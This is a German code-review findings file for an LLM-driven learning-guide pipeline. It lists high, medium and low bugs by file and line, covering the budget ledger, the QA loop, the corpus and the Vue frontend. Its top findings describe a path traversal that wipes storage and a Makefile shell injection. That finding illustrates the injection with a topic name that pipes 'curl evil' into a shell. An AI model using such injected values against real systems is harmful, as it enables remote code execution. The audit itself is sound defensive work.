Files
creator2/REVIEW.md
2026-07-12 16:13:50 +02:00

9.4 KiB
Raw Blame History

Review-Befunde 2026-07-12

Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend). Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.

Hoch

  1. pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen. topic_anlegen prüft nur „nicht leer“. Name ..DELETE /api/topics/.. läuft in shutil.rmtree(KORPUS_DIR / topic) → löscht storage/ komplett inkl. SQLite-DB. Namen mit / schreiben Snapshots außerhalb von storage/korpus/.

  2. main.py:180 + Makefile:43 — Shell-Injektion über Transfer. make server-push TOPIC=<name> interpoliert den Namen unquotiert in Shell-Rezepte (rsync/ssh-Zeilen). Topic x;curl evil|sh → Kommando-Ausführung.

  3. inventar.py:44 — Resume verliert Quell-Abschnitte still. Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert. Beim Resume greift der Idempotenz-Guard (schon and not force) und setzt die Quelle auf atome — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein ganzer Soll-Punkt leer bleibt.

  4. artefakte.py:49 — nur_ohne-Filter blockiert Flashcard-Nachgenerierung. Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar, atom_ohne_flashcard bleibt offen, Loop dreht 10 wirkungslose Iterationen.

  5. guide.py:295 — Mathe-Checks laufen über Marker-Zeilen. _mathe_auftraege(lang, …) bekommt den ungestrippten Text (nur _stil_auftraege strippt Marker). Atom-Titel wie a_n oder A*-Suche im Marker erzeugen Aufträge, die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer det_check in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit.

  6. qa.py:68 — Befund-Dedup verliert Details. _persistieren dedupliziert über (art, item) ohne detail. Mehrere det_check- Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“, neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz scheitert.

  7. agents.py:257 — CLI-Prozess-Leak bei Cancellation. _spawn killt nur bei TimeoutError. Der Hedge (llm.py:71) cancelt den Verlierer-Task: CancelledError trifft communicate(), kein Kill, und das finally entfernt den Prozess aus _prozesse → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile, für Stop/Pause unerreichbar.

  8. guide.py:380 — gescheiterte Fixes passieren das Gate. Nach Fix-Fehlschlag bleiben die Aufträge in sections.befunde, aber niemand außer _stage_fix liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0 fertig gemeldet werden.

  9. Guide.vue:54/124 — Level-Toggle-Sackgasse. levels zählt Kapitel-Level unabhängig vom Section-Inhalt; anzeige filtert leere Sections weg; bei anzeige.length === 0 verschwindet die Nav samt Toggle. Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“, kein Weg zurück außer Reload.

Mittel

Budget / Ledger / Nebenläufigkeit

  • llm.py:63 — Hedge-Zwilling: nur die Tokens des Gewinners landen in events/Budget. Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“.
  • llm.py:65 — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
  • llm.py:120 — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
  • llm.py:155 panel, struktur.py:77, guide.py:426/434/579, artefakte.py:144 — bare asyncio.gather statt llm.alle: bei LaufPause/Budget laufen Geschwister-Tasks weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard).
  • agents.py:161 — API-Pfad prüft nach _api_slot() keinen Abbruch: pausierte Läufe feuern wartende API-Calls trotzdem ab.
  • agents.py:311 — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.

Panels / destruktive Entscheide (fail-open statt fail-closed)

  • inventar.py:474/499_soll_stichentscheid/_luecke_schliessen: eine einzelne überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen auf Basis EINES Richters (chunk_urteil macht es richtig).
  • inventar.py:456_anker_fixen_batch verwirft Atome auch dann, wenn der zuständige Batch-Call ausfiel (None ≠ negatives Urteil).
  • artefakte.py:130 — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id → Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).

Korpus / Soll

  • korpus.py:270 + 406_konsens löscht bestätigte Zeilen und baut aus Kandidaten neu: nachgesuchte Belege und der geprueft-Negativ-Cache gehen verloren → bezahlte Beleg-Judges wiederholen sich.
  • korpus.py:368/388 — Judge sieht nur text[:40k], Nicht-Fund wird aber für die GANZE Quelle als geprueft verbucht → Belege jenseits 40k dauerhaft unauffindbar, Punkt wird ggf. fälschlich degradiert.
  • korpus.py:161 — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
  • korpus.py:333/416 — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für soll_leer, Pipeline setzt trotzdem korpus_fertig → E1 verwirft Atome kaskadenartig.

Struktur

  • struktur.py:251 — Split schneidet ceil-Chunks: 43 Atome → Teile 8,8,8,8,8,3; letzter Teil kann Band 48 verletzen, Repair reproduziert identisch → Befund ewig offen.
  • struktur.py:479band-Partnerprüfung misst gegen POST-Split-Bausteine, der Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.

Guide / QA-Loop

  • guide.py:553qa_hash wird vor der Fachlich-falsch-Prüfung persistiert: scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open).
  • guide.py:544offene_falsch ist run-gescoped, qa_hash nicht: nach Pause/Resume verschwinden bestätigte Fakten-Fehler aus der QA.
  • guide.py:596 — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
  • guide.py:607 + auto_loop.py:24bewegt = bool(betroffen): Guide-Ebene meldet immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10.
  • guide.py:265/329 — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
  • guide.py:190 — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“), Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt, Auftrag unerfüllbar.

Frontend

  • api.js:13 — Topic-Namen ohne encodeURIComponent in URL-Pfaden: #// im Namen → Topic per UI unbenutzbar und unlöschbar.
  • Guide.vue:19laden() ohne Out-of-order-Schutz: langsame Antwort von Topic A überschreibt die Anzeige von Topic B.
  • Guide.vue:77 — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport landet in Platzhalter-Divs, Seite wirkt leer.
  • api.js:51 — WS-Cleanup entfernt onclose nicht: Zombie-Reconnect nach 2 s, doppelte State-Loads (v. a. bei Vite-HMR).
  • Ueben.vue:19 — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box springt 2 Stufen), Folgekarte fällt still aus dem Stapel.

Niedrig (Auswahl)

  • pipeline.py:63 u. a.runs.beendet='jetzt' (Literal-String statt Timestamp).
  • ledger.py:58 — Kennzahlen zählen status='timeout', llm schreibt aber infra → Spalte konstant 0.
  • config.py:13CREATOR_DB wird vor _load_env() gelesen: .env-Wert wirkungslos.
  • jsonx.py:14 — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
  • transfer.py:122sections.befunde (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped.
  • ws.py:31 — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele send_text.
  • inventar.py:493 — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
  • inventar.py:147 — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
  • inventar.py:352quelle_unvollstaendig-Repair meldet immer True → Stillstand nie erkannt.
  • guide.py:53_MARKER_VOLL bricht bei > im Atom-Titel.
  • guide.py:449_pruefe_dich matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still.
  • guide.py:461 — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte null-Keys in Vue.
  • struktur.py:77 / artefakte.py:144 — s. gather-Sammelpunkt oben.
  • markdown.js:57lesestat ignoriert \[…\]-Formeln → Lesezeit falsch.
  • style.css:225 — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
  • Kennzahlen.vue:8 — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
  • App.vue:93 / Board.vue:99stoppen()/Menü-Aktionen ohne try/catch: Fehler unsichtbar.